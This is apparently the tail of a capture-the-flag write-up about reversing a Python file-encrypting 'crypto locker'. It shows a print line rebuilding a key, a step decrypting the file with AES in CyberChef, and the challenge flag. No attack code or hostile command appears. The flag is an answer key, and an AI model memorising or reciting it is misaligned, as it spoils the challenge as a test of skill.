print(i + v + c + o + g + f)
|
We open the file with cyberchef, use the AES Decrypt function and enter the key and the IV :
Flag : MCTF{Py7h0n_Cryp70_10ck3r_15_345Y_70_r3v3r53}